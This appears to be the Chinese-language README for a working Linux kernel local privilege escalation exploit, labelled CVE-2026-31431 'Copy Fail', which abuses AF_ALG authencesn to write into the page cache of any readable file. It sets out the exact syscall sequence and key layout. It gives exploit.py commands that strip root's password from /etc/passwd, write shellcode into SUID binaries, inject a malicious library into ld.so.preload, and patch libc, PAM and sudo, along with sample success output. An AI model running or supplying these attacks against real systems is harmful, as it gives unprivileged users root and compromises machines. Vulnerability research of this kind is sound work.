Linux 内核页缓存越权写入漏洞 (AF_ALG AEAD 散列表链错误)
Linux 内核 algif_aead 接口存在一个漏洞,允许无特权用户向任意可读文件的页缓存(page cache)写入任意数据——完全绕过文件权限检查、强制访问控制(MAC)以及完整性校验。
磁盘上的文件内容不会改变,但此后所有读取该文件的进程(包括 SUID 程序、动态链接器、execve() 等)都会看到攻击者篡改后的版本,直到页缓存被回收。
| 项目 | 说明 |
|---|---|
| 子系统 | crypto/algif_aead.c |
| 算法 | authencesn(hmac(sha256),cbc(aes)) |
| 内核配置 | CONFIG_CRYPTO_USER_API_AEAD=y/m(几乎所有主流发行版默认启用) |
| 所需权限 | 无 — 只要对目标文件有读权限即可 |
| 危害等级 | 本地提权 → root |
| 受影响发行版 | Ubuntu、Debian、Fedora、RHEL、Arch、openSUSE 等 |
通过 AF_ALG 执行 AEAD 解密时:
- 用户态通过
sendmsg()+MSG_MORE发送关联认证数据(AAD),其中包含攻击者控制的 4 字节seqno_lo。 - 通过
splice()将目标文件的页缓存页面注入到内核加密子系统的发送散列表(TX SGL)中。 - 内核构建目标散列表(dst SGL)时,将接收缓冲区与页缓存页面通过
sg_chain链接在一起。 authencesn算法将seqno_lo写入目标散列表偏移assoclen + cryptlen处——该位置越过接收缓冲区,直接落入链接的页缓存页面。- 此写入发生在 HMAC 校验之前。HMAC 失败后内核返回
EBADMSG错误,但页缓存已被篡改。
sendmsg (AAD) splice (文件页面)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ RX 缓冲区 │─────────────▶│ 页缓存页面 │
│ 8 字节 │ │ (文件内容) │
└──────────┘ └──────────────────────┘
▲
│
authencesn 在此写入 seqno_lo
偏移 = assoclen + cryptlen
════ 这就是漏洞所在 ════
seqno_lo的 4 字节完全由攻击者在 AAD 中控制(写什么)splice的长度决定了写入在页缓存中的偏移(写哪里)- 两者结合 = 对任意可读文件页缓存的任意 4 字节写入原语
# 篡改 /etc/passwd 页缓存,移除 root 密码,自动执行 su root
./exploit.py escalate执行过程:
- 将
/etc/passwd原始内容备份到/tmp/.passwd.bak - 在页缓存中将
root:x:0:0:root:...修改为root::0:0:root :... - 自动调用
su root(无需密码)
输出示例:
[*] CVE-2026-31431 — Copy Fail
[*] Mode: remove root password via /etc/passwd
[*] Backup: /tmp/.passwd.bak
[*] Before : root:x:0:0:root:/root:/bin/bash
[*] After : root::0:0:root :/root:/bin/bash
[*] Offset : 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Success: root::0:0:root :/root:/bin/bash
[*] Recovery: echo 3 > /proc/sys/vm/drop_caches
[*] Running: su root (no password needed)
# 基本语法
./exploit.py write <文件路径> <偏移量> <数据>
# 从二进制文件读取 payload
./exploit.py write <文件路径> <偏移量> @payload.bin# 将 shellcode 写入 SUID 程序的入口点
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# 注入预加载库路径
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# 篡改 libc 函数(例如让 getuid() 返回 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'| 约束 | 说明 |
|---|---|
| 读权限 | 目标文件必须对当前用户可读(O_RDONLY) |
| 对齐 | 每次写入 4 字节;不足 4 字节的尾部用 0x90 填充 |
| 文件大小 | 文件大小必须 ≥ 偏移量 + 数据长度 + 4 字节 |
| 仅页缓存 | 磁盘上的文件内容不会被修改 |
| 持久性 | 页缓存被回收或手动清除前一直有效 |
| 内核配置 | 需要 AF_ALG + authencesn 可用(主流发行版默认具备) |
# 方法一:清除所有页缓存,恢复磁盘上的原始内容
echo 3 > /proc/sys/vm/drop_caches
# 方法二:重启
rebootsocket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, authenc_密钥blob)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → 请求 fd
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ 认证密钥 (16 字节全零) │
├─────────────────────────────────────────────┤
│ 加密密钥 (16 字节全零) │
└─────────────────────────────────────────────┘
密钥值无关紧要——HMAC 必然失败,但越权写入在校验之前已完成。
步骤 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = 要写入的值
cmsg = [OP=DECRYPT, IV=全零, ASSOCLEN=8],
flags = MSG_MORE)
步骤 2: pipe_r, pipe_w = pipe()
步骤 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
步骤 4: splice(pipe_r → req_fd, count = file_offset + 4)
步骤 5: recv(req_fd, ASSOC_LEN + file_offset)
→ 触发 authencesn 解密
→ seqno_lo 被写入 dst SGL 偏移 assoclen + cryptlen
→ 该偏移落在页缓存页面的 file_offset 处
→ HMAC 失败, 返回 EBADMSG
→ 页缓存已被篡改 ✓
dst SGL 布局:
[0 .. 7] → RX 缓冲区 (AAD 接收区)
[8 .. 8 + file_offset + 3] → 页缓存页面 (splice 注入)
seqno_lo 写入位置:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= 页缓存中 file_offset 处
∴ 攻击者控制 file_offset → 控制写入位置
攻击者控制 seqno_lo → 控制写入内容
.
├── exploit.py # 自包含漏洞利用脚本(仅需 Python 3 + Linux)
└── README.md # 本文件
| 攻击路径 | 目标文件 | 效果 |
|---|---|---|
| 移除 root 密码 | /etc/passwd |
su root 无需密码 |
| 注入预加载库 | /etc/ld.so.preload |
所有程序加载恶意 .so |
| 篡改 SUID 程序 | /usr/bin/su 等 |
执行 shellcode 获取 root shell |
| 篡改 libc | /usr/lib/libc.so.6 |
劫持 getuid() 等函数返回 0 |
| 篡改 PAM 模块 | /usr/lib/security/pam_unix.so |
绕过所有认证 |
| 篡改 sudo | /usr/bin/sudo |
任意用户直接获得 root |
本工具仅用于授权的安全研究和渗透测试。未经授权使用本工具攻击他人系统属于违法行为。使用者应自行承担所有法律责任。